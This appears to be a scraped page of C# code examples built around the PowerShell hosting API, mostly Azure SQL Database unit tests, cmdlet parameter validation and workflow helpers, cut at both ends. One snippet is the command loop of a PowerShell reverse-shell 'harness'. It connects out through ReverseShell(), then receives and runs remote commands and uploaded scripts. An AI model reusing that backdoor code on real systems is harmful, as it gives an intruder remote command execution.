                DatabaseTestHelper.SetDefaultTestSessionSettings(testSession);
                testSession.RequestValidator =
                    new Action <HttpMessage, HttpMessage.Request>(
                        (expected, actual) =>
                {
                    Assert.AreEqual(expected.RequestInfo.Method, actual.Method);
                    Assert.IsNotNull(actual.UserAgent);
                    if (expected.Index < 10)
                    {
                        // Request 0-4: Set testdb1 with new name of new_testdb1
                        // Request 5-9: Set new_testdb1 with new name of testdb1
                        DatabaseTestHelper.ValidateHeadersForODataRequest(
                            expected.RequestInfo,
                            actual);
                    }
                    else
                    {
                        Assert.Fail("No more requests expected.");
                    }
                });

                using (AsyncExceptionManager exceptionManager = new AsyncExceptionManager())
                {
                    // Create context with both ManageUrl and ServerName overriden
                    Collection <PSObject> database;
                    using (new MockHttpServer(
                               exceptionManager,
                               MockHttpServer.DefaultServerPrefixUri,
                               testSession))
                    {
                        database = powershell.InvokeBatchScript(
                            @"Set-AzureSqlDatabase " +
                            @"-Context $context " +
                            @"-DatabaseName testdb1 " +
                            @"-NewName new_testdb1 " +
                            @"-Force " +
                            @"-PassThru");
                        powershell.InvokeBatchScript(
                            @"Set-AzureSqlDatabase " +
                            @"-Context $contextCleanup " +
                            @"-DatabaseName new_testdb1 " +
                            @"-NewName testdb1 " +
                            @"-Force");
                    }

                    Assert.AreEqual(0, powershell.Streams.Error.Count, "Errors during run!");
                    Assert.AreEqual(0, powershell.Streams.Warning.Count, "Warnings during run!");
                    powershell.Streams.ClearStreams();

                    Services.Server.Database databaseObj = database.Single().BaseObject as Services.Server.Database;
                    Assert.IsNotNull(databaseObj, "Expecting a Database object");
                    DatabaseTestHelper.ValidateDatabaseProperties(databaseObj, "new_testdb1", "Web", 1, 1073741824L, "SQL_Latin1_General_CP1_CI_AS", "Shared", false, DatabaseTestHelper.SharedSloGuid);
                }
            }
        }
Exemplo n.º 32
0
		protected override void BeginProcessing()
		{
			if (base.ParameterSetName.Equals("DefaultSet", StringComparison.OrdinalIgnoreCase))
			{
				if (this.WsmanAuthentication != null && (this._isDcomAuthenticationSpecified || this._isImpersonationSpecified))
				{
					string str = StringUtil.Format(ComputerResources.ParameterConfliction, ComputerResources.ParameterUsage);
					InvalidOperationException invalidOperationException = new InvalidOperationException(str);
					base.ThrowTerminatingError(new ErrorRecord(invalidOperationException, "ParameterConfliction", ErrorCategory.InvalidOperation, null));
				}
				bool flag = this.Protocol.Equals("DCOM", StringComparison.OrdinalIgnoreCase);
				bool flag1 = this.Protocol.Equals("WSMan", StringComparison.OrdinalIgnoreCase);
				if (this._isProtocolSpecified && flag && this.WsmanAuthentication != null)
				{
					string str1 = StringUtil.Format(ComputerResources.InvalidParameterForDCOM, ComputerResources.ParameterUsage);
					InvalidOperationException invalidOperationException1 = new InvalidOperationException(str1);
					base.ThrowTerminatingError(new ErrorRecord(invalidOperationException1, "InvalidParameterForDCOM", ErrorCategory.InvalidOperation, null));
				}
				if (this._isProtocolSpecified && flag1 && (this._isDcomAuthenticationSpecified || this._isImpersonationSpecified))
				{
					string str2 = StringUtil.Format(ComputerResources.InvalidParameterForWSMan, ComputerResources.ParameterUsage);
					InvalidOperationException invalidOperationException2 = new InvalidOperationException(str2);
					base.ThrowTerminatingError(new ErrorRecord(invalidOperationException2, "InvalidParameterForWSMan", ErrorCategory.InvalidOperation, null));
				}
				if (!this._isProtocolSpecified && this.WsmanAuthentication != null)
				{
					this.Protocol = "WSMan";
				}
			}
			if ((this._timeoutSpecified || this._waitForSpecified || this._delaySpecified) && !this.Wait)
			{
				InvalidOperationException invalidOperationException3 = new InvalidOperationException(ComputerResources.RestartComputerInvalidParameter);
				base.ThrowTerminatingError(new ErrorRecord(invalidOperationException3, "RestartComputerInvalidParameter", ErrorCategory.InvalidOperation, null));
			}
			if (this.Wait)
			{
				this._activityId = (new Random()).Next();
				if (this._timeout == -1 || this._timeout >= 0x20c49b)
				{
					this._timeoutInMilliseconds = 0x7fffffff;
				}
				else
				{
					this._timeoutInMilliseconds = this._timeout * 0x3e8;
				}
				WaitForServiceTypes waitForServiceType = this._waitFor;
				if (waitForServiceType == WaitForServiceTypes.Wmi || waitForServiceType == WaitForServiceTypes.WinRM)
				{
					return;
				}
				else if (waitForServiceType == WaitForServiceTypes.PowerShell)
				{
					this._powershell = System.Management.Automation.PowerShell.Create();
					this._powershell.AddScript("\r\n$array = @($input)\r\n$result = @{}\r\nforeach ($computerName in $array[1])\r\n{\r\n    $ret = $null\r\n    if ($array[0] -eq $null)\r\n    {\r\n        $ret = Invoke-Command -ComputerName $computerName {$true} -SessionOption (New-PSSessionOption -NoMachineProfile) -ErrorAction SilentlyContinue\r\n    }\r\n    else\r\n    {\r\n        $ret = Invoke-Command -ComputerName $computerName {$true} -SessionOption (New-PSSessionOption -NoMachineProfile) -ErrorAction SilentlyContinue -Credential $array[0]\r\n    }\r\n\r\n    if ($ret -eq $true)\r\n    {\r\n        $result[$computerName] = $true\r\n    }\r\n    else\r\n    {\r\n        $result[$computerName] = $false\r\n    }\r\n}\r\n$result\r\n");
					return;
				}
				InvalidOperationException invalidOperationException4 = new InvalidOperationException(ComputerResources.NoSupportForCombinedServiceType);
				ErrorRecord errorRecord = new ErrorRecord(invalidOperationException4, "NoSupportForCombinedServiceType", ErrorCategory.InvalidOperation, (object)((int)this._waitFor));
				base.ThrowTerminatingError(errorRecord);
			}
		}
        // Module defining this command


        // Optional custom code for this activity


        /// <summary>
        /// Returns a configured instance of System.Management.Automation.PowerShell, pre-populated with the command to run.
        /// </summary>
        /// <param name="context">The NativeActivityContext for the currently running activity.</param>
        /// <returns>A populated instance of System.Management.Automation.PowerShell</returns>
        /// <remarks>The infrastructure takes responsibility for closing and disposing the PowerShell instance returned.</remarks>
        protected override ActivityImplementationContext GetPowerShell(NativeActivityContext context)
        {
            System.Management.Automation.PowerShell invoker       = global::System.Management.Automation.PowerShell.Create();
            System.Management.Automation.PowerShell targetCommand = invoker.AddCommand(PSCommandName);

            // Initialize the arguments

            if (Path.Expression != null)
            {
                targetCommand.AddParameter("Path", Path.Get(context));
            }

            if (LiteralPath.Expression != null)
            {
                targetCommand.AddParameter("LiteralPath", LiteralPath.Get(context));
            }

            if (Name.Expression != null)
            {
                targetCommand.AddParameter("Name", Name.Get(context));
            }

            if (NewName.Expression != null)
            {
                targetCommand.AddParameter("NewName", NewName.Get(context));
            }

            if (PassThru.Expression != null)
            {
                targetCommand.AddParameter("PassThru", PassThru.Get(context));
            }

            if (Force.Expression != null)
            {
                targetCommand.AddParameter("Force", Force.Get(context));
            }

            if (Filter.Expression != null)
            {
                targetCommand.AddParameter("Filter", Filter.Get(context));
            }

            if (Include.Expression != null)
            {
                targetCommand.AddParameter("Include", Include.Get(context));
            }

            if (Exclude.Expression != null)
            {
                targetCommand.AddParameter("Exclude", Exclude.Get(context));
            }

            if (Credential.Expression != null)
            {
                targetCommand.AddParameter("Credential", Credential.Get(context));
            }


            return(new ActivityImplementationContext()
            {
                PowerShellInstance = invoker
            });
        }
Exemplo n.º 34
0
        private void run()
        {


            Debug.WriteLine("[DEBUG] Starting handler");

            // Define some helpful triggers and flags
            char HARNESS_CMD_CHAR = '^';
            string BEGINFILE_TAG = "<rf>";
            string ENDFILE_TAG = "</rf>";
            string USER_BREAK = "end";
            bool MULTILINE_FLAG = false;
            bool REMOTEFILE_FLAG = false;

            // Buffer for reading data 
            byte[] bytes;

            // Holds string representation of data send over the wire
            string data = "";

            // Used to accumulate data from imported file
            string data_chunk = "";

            // Replace ReverseShell() with BindShell() as needed
            this.client = ReverseShell();
            this.stream = client.GetStream();

            using (this.ps = PowerShell.Create())
            {
                while (!this.ShouldExit)
                {

                    if (stream.CanRead)
                    {

                        bytes = new byte[client.ReceiveBufferSize];

                        int i;
                        // Loop to receive all the data sent by the client.
                        while ((i = stream.Read(bytes, 0, bytes.Length)) != 0)
                        {
                            // Deal with multiline script by prompting for more input (e.g. >>)
                            if (MULTILINE_FLAG)
                            {

                                data_chunk = System.Text.Encoding.ASCII.GetString(bytes, 0, i).Trim();

                                // Check to see if the user wants to break out of multiline
                                if (data_chunk == HARNESS_CMD_CHAR + USER_BREAK)
                                {

                                    ProcessPS(data);
                                    MULTILINE_FLAG = false;
                                    data = "";
                                }
                                else
                                {
                                    data += data_chunk;
                                }

                            }
                            else if (REMOTEFILE_FLAG)
                            {
                                // Need to check and see if the script is done transfering
                                data_chunk = System.Text.Encoding.ASCII.GetString(bytes, 0, i).Trim();

                                if (data_chunk.ToLower() == ENDFILE_TAG)
                                {

                                    Debug.WriteLine("[DEBUG] File received");

                                    if (IsValid(data))
                                    {
                                        ProcessPS(data);
                                    }
                                    else
                                    {
                                        this.host.UI.WriteLine("[!] Transfer errors found. Try import again");
                                    }

                                    data = "";
                                    REMOTEFILE_FLAG = false;
                                }
                                else
                                {
                                    data += data_chunk;
                                    data_chunk = "";
                                }

                            }
                            else
                            {

                                data = System.Text.Encoding.ASCII.GetString(bytes, 0, i).Trim();

                                if (data.ToLower() == "exit" || data.ToLower() == "quit") break;
                                if (data.ToLower() == BEGINFILE_TAG)
                                {

                                    Debug.WriteLine("[DEBUG] Receiving File");

                                    REMOTEFILE_FLAG = true;
                                    data = "";
                                }

                                if (data != "" && !REMOTEFILE_FLAG)
                                {

                                    Debug.WriteLine("[DEBUG] Command Received: " + data.ToString());

                                    // ProcessLocal is reserved for non-PS Harness commands that require special handling
                                    if (data[0] == HARNESS_CMD_CHAR)
                                    {

                                        ProcessLocal(data);
                                        data = "";

                                    }

                                }
                            }

                            // Determine how we deal with the data received
                            if (!REMOTEFILE_FLAG)
                            {
                                if (IsValid(data))
                                {

                                    ProcessPS(data);
                                    data = "";
                                    MULTILINE_FLAG = false;

                                }
                                else
                                {

                                    Debug.WriteLine("[DEBUG] Incomplete script or parse error");
                                    MULTILINE_FLAG = true;
                                    this.host.UI.Write(">> ");

                                }

                            }

                        }

                        // Shutdown and end connection
                        client.Close();

                        Debug.WriteLine("[DEBUG] Connection Closed");

                        break;
                    }

                }

            }

        }
Exemplo n.º 35
0
        /// <summary>
        /// Common helper method for other tests to create a context.
        /// </summary>
        /// <param name="contextVariable">The variable name that will hold the new context.</param>
        public static void CreateServerContextSqlAuth(
            System.Management.Automation.PowerShell powershell,
            string contextVariable)
        {
            HttpSession testSession = MockServerHelper.DefaultSessionCollection.GetSession(
                "UnitTest.Common.NewAzureSqlDatabaseServerContextWithSqlAuth");

            DatabaseTestHelper.SetDefaultTestSessionSettings(testSession);
            testSession.RequestValidator =
                new Action <HttpMessage, HttpMessage.Request>(
                    (expected, actual) =>
            {
                Assert.AreEqual(expected.RequestInfo.Method, actual.Method);
                Assert.IsNotNull(actual.UserAgent);
                switch (expected.Index)
                {
                // Request 0-2: Create context with both ManageUrl and ServerName overriden
                case 0:
                    // GetAccessToken call
                    DatabaseTestHelper.ValidateGetAccessTokenRequest(
                        expected.RequestInfo,
                        actual);
                    break;

                case 1:
                    // Get server call
                    DatabaseTestHelper.ValidateHeadersForODataRequest(
                        expected.RequestInfo,
                        actual);
                    break;

                case 2:
                    // $metadata call
                    Assert.IsTrue(
                        actual.RequestUri.AbsoluteUri.EndsWith("$metadata"),
                        "Incorrect Uri specified for $metadata");
                    DatabaseTestHelper.ValidateHeadersForServiceRequest(
                        expected.RequestInfo,
                        actual);
                    Assert.AreEqual(
                        expected.RequestInfo.Headers[DataServiceConstants.AccessTokenHeader],
                        actual.Headers[DataServiceConstants.AccessTokenHeader],
                        "AccessToken header does not match");
                    Assert.AreEqual(
                        expected.RequestInfo.Cookies[DataServiceConstants.AccessCookie],
                        actual.Cookies[DataServiceConstants.AccessCookie],
                        "AccessCookie does not match");
                    break;

                default:
                    Assert.Fail("No more requests expected.");
                    break;
                }
            });

            UnitTestHelper.ImportAzureModule(powershell);
            UnitTestHelper.CreateTestCredential(
                powershell,
                testSession.SessionProperties["Username"],
                testSession.SessionProperties["Password"]);

            // Tell the sql auth factory to create a v2 context (skip checking sql version using select query).
            //
            SqlAuthContextFactory.sqlVersion = SqlAuthContextFactory.SqlVersion.v2;

            Collection <PSObject> serverContext;

            using (AsyncExceptionManager exceptionManager = new AsyncExceptionManager())
            {
                using (new MockHttpServer(
                           exceptionManager,
                           MockHttpServer.DefaultServerPrefixUri,
                           testSession))
                {
                    serverContext = powershell.InvokeBatchScript(
                        string.Format(
                            CultureInfo.InvariantCulture,
                            @"{1} = New-AzureSqlDatabaseServerContext " +
                            @"-ServerName {2} " +
                            @"-ManageUrl {0} " +
                            @"-Credential $credential",
                            MockHttpServer.DefaultServerPrefixUri.AbsoluteUri,
                            contextVariable,
                            testSession.SessionProperties["Servername"]),
                        contextVariable);
                }
            }

            Assert.AreEqual(0, powershell.Streams.Error.Count, "Errors during run!");
            Assert.AreEqual(0, powershell.Streams.Warning.Count, "Warnings during run!");
            powershell.Streams.ClearStreams();

            PSObject contextPsObject = serverContext.Single();

            Assert.IsTrue(
                contextPsObject.BaseObject is ServerDataServiceSqlAuth,
                "Expecting a ServerDataServiceSqlAuth object");
        }
Exemplo n.º 36
0
 /// <summary>
 /// Imports the Azure Manifest to the given <paramref name="powershell"/> instance.
 /// </summary>
 /// <param name="powershell">An instance of the <see cref="PowerShell"/> object.</param>
 public static void ImportAzureModule(System.Management.Automation.PowerShell powershell)
 {
     // Import the test manifest file
     powershell.InvokeBatchScript(@"Import-Module ..\..\..\..\Package\Debug\ServiceManagement\Azure\Azure.psd1");
     Assert.IsTrue(powershell.Streams.Error.Count == 0);
 }
Exemplo n.º 37
0
        public virtual void TestSetup()
        {
            powershell = System.Management.Automation.PowerShell.Create();

            foreach (string moduleName in modules)
            {
                powershell.AddScript(string.Format("Import-Module \"{0}\"", Test.Utilities.Common.Testing.GetAssemblyTestResourcePath<ResourceLocator>(moduleName)));
            }

            powershell.AddScript("$VerbosePreference='Continue'");
            powershell.AddScript("$DebugPreference='Continue'");
            powershell.AddScript("$ErrorActionPreference='Stop'");
            powershell.AddScript("Write-Debug \"AZURE_TEST_MODE = $env:AZURE_TEST_MODE\"");
            powershell.AddScript("Write-Debug \"TEST_HTTPMOCK_OUTPUT = $env:TEST_HTTPMOCK_OUTPUT\"");
        }
 public virtual void StartResumablePSCommand(Guid jobInstanceId, Bookmark bookmark, System.Management.Automation.PowerShell command, PowerShellStreams <PSObject, PSObject> streams, PSActivityEnvironment environment, PSActivity activityInstance)
 {
     throw new NotImplementedException();
 }
Exemplo n.º 39
0
            // ---------- CONSTRUCTOR ----------
            /// <summary>
            /// Creates a new PowerShell script state object, with the supplied originating script.
            /// </summary>
            /// <param name="script">The PowerShell object that originated the invocation.</param>
            public PowerShellScriptState(PS script)
            {
                // Set the originating script object.
                if (script != null)
                {
                    Script = script;
                }
                else
                {
                    // The script object was not supplied, throw an exception.
                    throw new ArgumentNullException("script");
                }

                // Initialize the stateVariables property.
                StateVariables = new Dictionary<string, object>();
            }
 public static Workspace GetFirstDeletedWorkspaceInOrganization(System.Management.Automation.PowerShell ps)
 {
     return(InvokeGetPowerBIWorkspace(ps, PowerBIUserScope.Organization, OperationType.GetFirstDeletedWorkspaceInOrganization));
 }
Exemplo n.º 41
0
 internal List<object> ExecuteCommand(Command command, bool stringOutput, bool internalScript)
 {
     // Create a pipeline, and populate it with the script given in the
     // edit box of the form.
     try
     {
         using (powerShell = NewPowerShell())
         {
             powerShell.Commands.AddCommand(command);
             return ExecuteCommand(stringOutput);
         }
     }
     finally
     {
         powerShell = null;
     }
 }
 public static Workspace GetFirstWorkspace(System.Management.Automation.PowerShell ps, PowerBIUserScope scope)
 {
     return(InvokeGetPowerBIWorkspace(ps, scope, OperationType.GetFirstWorkspace));
 }
Exemplo n.º 43
0
        internal System.Management.Automation.PowerShell NewPowerShell()
        {
            if (IsRunning)
                return powerShell.CreateNestedPowerShell();

            powerShell = System.Management.Automation.PowerShell.Create();
            powerShell.Runspace = host.Runspace;
            return powerShell;
        }
        private static void LogPowerShellVersion(System.Management.Automation.PowerShell pwsh)
        {
            var message = string.Format(PowerShellWorkerStrings.PowerShellVersion, Utils.GetPowerShellVersion(pwsh));

            RpcLogger.WriteSystemLog(LogLevel.Information, message);
        }
        public void AzureSqlDatabaseCertTests()
        {
            // This test uses the https endpoint, setup the certificates.
            MockHttpServer.SetupCertificates();

            using (System.Management.Automation.PowerShell powershell = System.Management.Automation.PowerShell.Create())
            {
                // Setup the subscription used for the test
                AzureSubscription subscription =
                    UnitTestHelper.SetupUnitTestSubscription(powershell);

                powershell.Runspace.SessionStateProxy.SetVariable(
                    "serverName",
                    SqlDatabaseTestSettings.Instance.ServerName);

                // Create a new server
                HttpSession testSession = MockServerHelper.DefaultSessionCollection.GetSession(
                    "UnitTest.AzureSqlDatabaseCertTests");
                ServerTestHelper.SetDefaultTestSessionSettings(testSession);

                testSession.RequestValidator =
                    new Action <HttpMessage, HttpMessage.Request>(
                        (expected, actual) =>
                {
                    Assert.AreEqual(expected.RequestInfo.Method, actual.Method);
                    Assert.IsTrue(
                        actual.UserAgent.Contains(ApiConstants.UserAgentHeaderValue),
                        "Missing proper UserAgent string.");
                });

                Collection <PSObject> newDatabaseResult1 = MockServerHelper.ExecuteWithMock(
                    testSession,
                    MockHttpServer.DefaultHttpsServerPrefixUri,
                    () =>
                {
                    return(powershell.InvokeBatchScript(
                               @"New-AzureSqlDatabase" +
                               @" -ServerName $serverName" +
                               @" -DatabaseName testdbcert1"));
                });

                Collection <PSObject> newDatabaseResult2 = MockServerHelper.ExecuteWithMock(
                    testSession,
                    MockHttpServer.DefaultHttpsServerPrefixUri,
                    () =>
                {
                    return(powershell.InvokeBatchScript(
                               @"New-AzureSqlDatabase" +
                               @" -ServerName $serverName" +
                               @" -DatabaseName testdbcert2" +
                               @" -Edition Business" +
                               @" -MaxSizeGB 10" +
                               @" -Collation Japanese_CI_AS"));
                });

                // Create a database of size 100MB Default Edition (Standard)
                Collection <PSObject> newDatabaseResult3 = MockServerHelper.ExecuteWithMock(
                    testSession,
                    MockHttpServer.DefaultHttpsServerPrefixUri,
                    () =>
                {
                    return(powershell.InvokeBatchScript(
                               @"New-AzureSqlDatabase" +
                               @" -ServerName $serverName" +
                               @" -DatabaseName testdbcert4" +
                               @" -MaxSizeBytes 104857600"));
                });

                Collection <PSObject> getDatabaseResult = MockServerHelper.ExecuteWithMock(
                    testSession,
                    MockHttpServer.DefaultHttpsServerPrefixUri,
                    () =>
                {
                    return(powershell.InvokeBatchScript(
                               @"Get-AzureSqlDatabase" +
                               @" $serverName"));
                });

                Collection <PSObject> getSingleDatabaseResult = MockServerHelper.ExecuteWithMock(
                    testSession,
                    MockHttpServer.DefaultHttpsServerPrefixUri,
                    () =>
                {
                    return(powershell.InvokeBatchScript(
                               @"Get-AzureSqlDatabase" +
                               @" $serverName" +
                               @" -DatabaseName testdbcert1"));
                });

                Collection <PSObject> getSingleDatabaseResult2 = MockServerHelper.ExecuteWithMock(
                    testSession,
                    MockHttpServer.DefaultHttpsServerPrefixUri,
                    () =>
                {
                    return(powershell.InvokeBatchScript(
                               @"Get-AzureSqlDatabase" +
                               @" $serverName" +
                               @" -DatabaseName testdbcert4"));
                });

                Collection <PSObject> setDatabaseNameResult = MockServerHelper.ExecuteWithMock(
                    testSession,
                    MockHttpServer.DefaultHttpsServerPrefixUri,
                    () =>
                {
                    powershell.Runspace.SessionStateProxy.SetVariable("db", newDatabaseResult1.FirstOrDefault());
                    return(powershell.InvokeBatchScript(
                               @"$db | Set-AzureSqlDatabase" +
                               @" -NewDatabaseName testdbcert3" +
                               @" -PassThru"));
                });

                Collection <PSObject> setDatabaseSizeResult = MockServerHelper.ExecuteWithMock(
                    testSession,
                    MockHttpServer.DefaultHttpsServerPrefixUri,
                    () =>
                {
                    powershell.Runspace.SessionStateProxy.SetVariable("db", newDatabaseResult1.FirstOrDefault());
                    return(powershell.InvokeBatchScript(
                               @"$db | Set-AzureSqlDatabase" +
                               @" -MaxSizeGB 5" +
                               @" -PassThru"));
                });

                Collection <PSObject> setDatabaseSizeResult2 = MockServerHelper.ExecuteWithMock(
                    testSession,
                    MockHttpServer.DefaultHttpsServerPrefixUri,
                    () =>
                {
                    return(powershell.InvokeBatchScript(
                               @"Set-AzureSqlDatabase" +
                               @" -ServerName $serverName" +
                               @" -DatabaseName testdbcert4" +
                               @" -MaxSizeBytes 1073741824" +
                               @" -passthru"));
                });

                Collection <PSObject> P1 = MockServerHelper.ExecuteWithMock(
                    testSession,
                    MockHttpServer.DefaultHttpsServerPrefixUri,
                    () =>
                {
                    return(powershell.InvokeBatchScript(
                               @"$P1 = Get-AzureSqlDatabaseServiceObjective" +
                               @" -Server $serverName" +
                               @" -ServiceObjectiveName ""P1""",
                               @"$P1"));
                });

                Collection <PSObject> P2 = MockServerHelper.ExecuteWithMock(
                    testSession,
                    MockHttpServer.DefaultHttpsServerPrefixUri,
                    () =>
                {
                    powershell.InvokeBatchScript(
                        @"$SLO = Get-AzureSqlDatabaseServiceObjective" +
                        @" -Server $serverName");

                    return(powershell.InvokeBatchScript(
                               @"$P2 = Get-AzureSqlDatabaseServiceObjective" +
                               @" -Server $serverName" +
                               @" -ServiceObjective ($slo | where-object { $_.name -match ""P2"" })",
                               @"$P2"));
                });


                Collection <PSObject> setDatabaseSlo = MockServerHelper.ExecuteWithMock(
                    testSession,
                    MockHttpServer.DefaultHttpsServerPrefixUri,
                    () =>
                {
                    return(powershell.InvokeBatchScript(
                               @"Set-AzureSqlDatabase" +
                               @" -ServerName $serverName" +
                               @" -DatabaseName testdbcert4" +
                               @" -Edition Premium" +
                               @" -MaxSizeGb 10" +
                               @" -ServiceObjective $P2" +
                               @" -passthru" +
                               @" -Force"));
                });


                Collection <PSObject> removeDatabaseResult1 = MockServerHelper.ExecuteWithMock(
                    testSession,
                    MockHttpServer.DefaultHttpsServerPrefixUri,
                    () =>
                {
                    powershell.Runspace.SessionStateProxy.SetVariable("db1", newDatabaseResult1.FirstOrDefault());
                    powershell.Runspace.SessionStateProxy.SetVariable("db2", newDatabaseResult2.FirstOrDefault());
                    powershell.Runspace.SessionStateProxy.SetVariable("db3", newDatabaseResult3.FirstOrDefault());
                    powershell.InvokeBatchScript(@"$db1 | Remove-AzureSqlDatabase -Force");
                    powershell.InvokeBatchScript(@"$db2 | Remove-AzureSqlDatabase -Force");
                    powershell.InvokeBatchScript(@"$db3 | Remove-AzureSqlDatabase -Force");
                    return(powershell.InvokeBatchScript(@"Get-AzureSqlDatabase $serverName"));
                });

                Collection <PSObject> newPremiumP1DatabaseResult = MockServerHelper.ExecuteWithMock(
                    testSession,
                    MockHttpServer.DefaultHttpsServerPrefixUri,
                    () =>
                {
                    return(powershell.InvokeBatchScript(
                               @"New-AzureSqlDatabase" +
                               @" -ServerName $serverName" +
                               @" -DatabaseName ""testdbcertPremiumDBP1""" +
                               @" -Edition Premium" +
                               @" -ServiceObjective $P1" +
                               @" -MaxSizeGb 10"));
                });

                Collection <PSObject> newPremiumP2DatabaseResult = MockServerHelper.ExecuteWithMock(
                    testSession,
                    MockHttpServer.DefaultHttpsServerPrefixUri,
                    () =>
                {
                    return(powershell.InvokeBatchScript(
                               @"New-AzureSqlDatabase" +
                               @" -ServerName $serverName" +
                               @" -DatabaseName ""testdbcertPremiumDBP2""" +
                               @" -Edition Premium" +
                               @" -ServiceObjective $P2" +
                               @" -MaxSizeGb 10"));
                });

                // There is a known issue about the Get-AzureSqlDatabaseOperation that it returns all
                // operations which has the required database name no matter it's been deleted and recreated.
                // So when run it against the mock session, please use the hard coded testsDBName.
                // Run against onebox, please use the one with NewGuid().
                // This unit test should be updated once that behavior get changed which was already been
                // created as a task.

                string getOperationDbName = null;
                if (testSession.ServiceBaseUri == null)
                {
                    getOperationDbName = "testdbcertGetOperationDbName_08abc738-1381-4164-ae5e-03a4fe59b6d2";
                }
                else
                {
                    getOperationDbName = "testdbcertGetOperationDbName_" + Guid.NewGuid().ToString();
                }

                Collection <PSObject> newOperationDbResult = MockServerHelper.ExecuteWithMock(
                    testSession,
                    MockHttpServer.DefaultHttpsServerPrefixUri,
                    () =>
                {
                    return(powershell.InvokeBatchScript(
                               string.Format(
                                   CultureInfo.InvariantCulture,
                                   @"$getOperationDb = New-AzureSqlDatabase" +
                                   @" -ServerName $serverName" +
                                   @" -DatabaseName ""{0}""",
                                   getOperationDbName),
                               @"$getOperationDb"));
                });

                Collection <PSObject> getDatabaseOperationByDbResult = MockServerHelper.ExecuteWithMock(
                    testSession,
                    MockHttpServer.DefaultHttpsServerPrefixUri,
                    () =>
                {
                    return(powershell.InvokeBatchScript(
                               string.Format(
                                   CultureInfo.InvariantCulture,
                                   @"Get-AzureSqlDatabaseOperation" +
                                   @" -ServerName $serverName" +
                                   @" -Database $getOperationDb")));
                });

                Collection <PSObject> getDatabaseOperationByNameResult = MockServerHelper.ExecuteWithMock(
                    testSession,
                    MockHttpServer.DefaultHttpsServerPrefixUri,
                    () =>
                {
                    return(powershell.InvokeBatchScript(
                               string.Format(
                                   CultureInfo.InvariantCulture,
                                   @"$getOperation = Get-AzureSqlDatabaseOperation" +
                                   @" -ServerName $serverName" +
                                   @" -DatabaseName ""{0}""",
                                   getOperationDbName),
                               @"$getOperation"));
                });

                Collection <PSObject> getDatabaseOperationByIdResult = MockServerHelper.ExecuteWithMock(
                    testSession,
                    MockHttpServer.DefaultHttpsServerPrefixUri,
                    () =>
                {
                    return(powershell.InvokeBatchScript(
                               string.Format(
                                   CultureInfo.InvariantCulture,
                                   @"Get-AzureSqlDatabaseOperation" +
                                   @" -ServerName $serverName" +
                                   @" -OperationGuid $getOperation[0].Id")));
                });

                Collection <PSObject> removeDatabaseResult2 = MockServerHelper.ExecuteWithMock(
                    testSession,
                    MockHttpServer.DefaultHttpsServerPrefixUri,
                    () =>
                {
                    powershell.Runspace.SessionStateProxy.SetVariable("premiumP1", newPremiumP1DatabaseResult.FirstOrDefault());
                    powershell.Runspace.SessionStateProxy.SetVariable("premiumP2", newPremiumP2DatabaseResult.FirstOrDefault());
                    powershell.Runspace.SessionStateProxy.SetVariable("operationDb", newOperationDbResult.FirstOrDefault());
                    powershell.InvokeBatchScript(@"$premiumP1 | Remove-AzureSqlDatabase -Force");
                    powershell.InvokeBatchScript(@"$premiumP2 | Remove-AzureSqlDatabase -Force");
                    powershell.InvokeBatchScript(@"$operationDb | Remove-AzureSqlDatabase -Force");
                    return(powershell.InvokeBatchScript(@"Get-AzureSqlDatabase $serverName"));
                });

                Assert.AreEqual(0, powershell.Streams.Error.Count, "Unexpected Errors during run!");
                Assert.AreEqual(0, powershell.Streams.Warning.Count, "Unexpected Warnings during run!");

                // Validate New-AzureSqlDatabase
                Services.Server.Database[] databases = new Services.Server.Database[] { newDatabaseResult1.Single().BaseObject as Services.Server.Database };
                Assert.AreEqual(1, databases.Length, "Expecting one database");
                Assert.IsNotNull(databases[0], "Expecting a Database object.");
                // Note: Because the object is piped, this is the final state of the
                // database object, after all the Set- cmdlet has run.
                DatabaseTestHelper.ValidateDatabaseProperties(databases[0], "testdbcert3", "Standard", 5, 5368709120L, "SQL_Latin1_General_CP1_CI_AS", "S0", false, DatabaseTestHelper.StandardS0SloGuid);

                databases = new Services.Server.Database[] { newDatabaseResult2.Single().BaseObject as Services.Server.Database };
                Assert.AreEqual(1, databases.Length, "Expecting one database");
                Assert.IsNotNull(databases[0], "Expecting a Database object.");
                //TODO: change below to business
                DatabaseTestHelper.ValidateDatabaseProperties(databases[0], "testdbcert2", "Business", 10, 10737418240L, "Japanese_CI_AS", "Business", false, DatabaseTestHelper.BusinessSloGuid);

                databases = new Services.Server.Database[] { newDatabaseResult3.Single().BaseObject as Services.Server.Database };
                Assert.AreEqual(1, databases.Length, "Expecting one database");
                Assert.IsNotNull(databases[0], "Expecting a Database object.");
                DatabaseTestHelper.ValidateDatabaseProperties(databases[0], "testdbcert4", "Standard", 0, 104857600L, "SQL_Latin1_General_CP1_CI_AS", "S0", false, DatabaseTestHelper.StandardS0SloGuid);

                // Validate Get-AzureSqlDatabase
                databases = getDatabaseResult.Select(r => r.BaseObject as Services.Server.Database).ToArray();
                Assert.AreEqual(4, databases.Length, "Expecting 4 databases");
                Assert.IsNotNull(databases[0], "Expecting a Database object.");
                Assert.IsNotNull(databases[1], "Expecting a Database object.");
                Assert.IsNotNull(databases[2], "Expecting a Database object.");
                Assert.IsNotNull(databases[3], "Expecting a Database object.");
                DatabaseTestHelper.ValidateDatabaseProperties(databases[1], "master", "System", 5, 5368709120L, "SQL_Latin1_General_CP1_CI_AS", "System2", true, DatabaseTestHelper.System2SloGuid);
                DatabaseTestHelper.ValidateDatabaseProperties(databases[3], "testdbcert1", "Standard", 250, 268435456000L, "SQL_Latin1_General_CP1_CI_AS", "S0", false, DatabaseTestHelper.StandardS0SloGuid);
                DatabaseTestHelper.ValidateDatabaseProperties(databases[2], "testdbcert2", "Business", 10, 10737418240L, "Japanese_CI_AS", "Business", false, DatabaseTestHelper.BusinessSloGuid);
                DatabaseTestHelper.ValidateDatabaseProperties(databases[0], "testdbcert4", "Standard", 0, 104857600L, "SQL_Latin1_General_CP1_CI_AS", "S0", false, DatabaseTestHelper.StandardS0SloGuid);

                databases = new Services.Server.Database[] { getSingleDatabaseResult.Single().BaseObject as Services.Server.Database };
                Assert.AreEqual(1, databases.Length, "Expecting one database");
                Assert.IsNotNull(databases[0], "Expecting a Database object.");
                DatabaseTestHelper.ValidateDatabaseProperties(databases[0], "testdbcert1", "Standard", 250, 268435456000L, "SQL_Latin1_General_CP1_CI_AS", "S0", false, DatabaseTestHelper.StandardS0SloGuid);

                databases = new Services.Server.Database[] { getSingleDatabaseResult2.Single().BaseObject as Services.Server.Database };
                Assert.AreEqual(1, databases.Length, "Expecting one database");
